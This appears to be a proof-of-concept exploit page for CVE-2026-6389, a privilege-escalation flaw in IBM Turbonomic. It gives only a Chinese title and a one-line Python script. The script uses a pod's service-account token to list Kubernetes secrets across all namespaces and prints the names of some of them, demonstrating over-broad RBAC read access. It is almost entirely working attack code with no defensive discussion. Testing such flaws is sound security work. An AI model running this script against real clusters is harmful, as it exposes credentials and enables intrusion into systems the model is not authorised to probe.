CVE-2026-6389 IBM Turbonomic权限提升漏洞

import os from kubernetes import client, config """ PoC for CVE-2026-6389 Demonstrates excessive 'read' permissions on secrets due to misconfigured RBAC. Requires running inside the vulnerable pod or having the service account token. """ def check_secrets_access(): try: # Load in-cluster configuration config.load_incluster_config() v1 = client.CoreV1Api() print("[*] Attempting to list secrets across all namespaces...") # Attempt to list secrets in all namespaces (requires cluster-wide privileges) secrets = v1.list_secret_for_all_namespaces() print(f"[+] Exploit Successful! Found {len(secrets.items)} secrets accessible.") # Display partial info of the first 5 secrets for verification for sec in secrets.items[:5]: print(f" - Name: {sec.metadata.namespace}/{sec.metadata.name}") except client.exceptions.ApiException as e: if e.status == 403: print("[-] Access Denied: Service account does not have sufficient permissions.") else: print(f"[-] An error occurred: {e}") except Exception as e: print(f"[-] Configuration error: {e}") if __name__ == "__main__": check_secrets_access()